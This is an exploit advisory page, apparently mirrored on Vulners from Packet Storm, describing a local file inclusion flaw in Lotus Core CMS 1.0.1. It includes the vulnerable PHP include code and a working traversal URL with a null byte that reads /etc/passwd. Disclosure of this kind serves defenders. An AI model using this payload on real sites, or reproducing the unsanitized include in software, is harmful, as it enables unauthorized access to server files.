Lucene search
K

Lotus Core CMS 1.0.1 Local File Inclusion

🗓️ 31 Jan 2020 00:00:00Reported by Daniel MonzonType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 80 Views

Lotus Core CMS 1.0.1 Local File Inclusion, Vulnerability in page_slug Paramete

Code
`# Exploit Title: Lotus Core CMS 1.0.1 - Local File Inclusion  
# Google Dork: N/A  
# Date: 2020-01-31  
# Exploit Author: Daniel Monzón (stark0de)  
# Vendor Homepage: http://lotuscore.sourceforge.net/  
# Software Link: https://sourceforge.net/projects/lotuscore/files/latest/download  
# Version: 1.0.1  
# Tested on: Windows 7 x86  
# CVE : N/A  
  
  
The vulnerability occurs on line 65 of the index.php file, first we can provide the page_slug parameter,  
if it's not set by the user it is set to index, but if the user sets the parameter via a GET or POST request,  
it checks if the file exists and if it exists, it performs an unsanitized inclusion.  
  
-----------------------------------------------------------------------------  
  
if(!$_REQUEST['page_slug']){  
$_REQUEST['page_slug'] = 'index';  
}  
if(file_exists('system/plugins/'.$_REQUEST['page_slug'].'.php') == true){  
include('system/plugins/'.$_REQUEST['page_slug'].'.php');  
}else{  
include("system/plugins/error/404.php");  
}  
  
------------------------------------------------------------------------------  
  
  
The PHP file appends .php to anything we provide as page_slug parameter so to include any file we must use a nullbyte.  
Note that you need to be authenticated to exploit this. The explotation would be like this:  
  
http://site:80/index.php?page_slug=../../../../../etc/passwd%00  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

31 Jan 2020 00:00Current
7.4High risk
Vulners AI Score7.4
80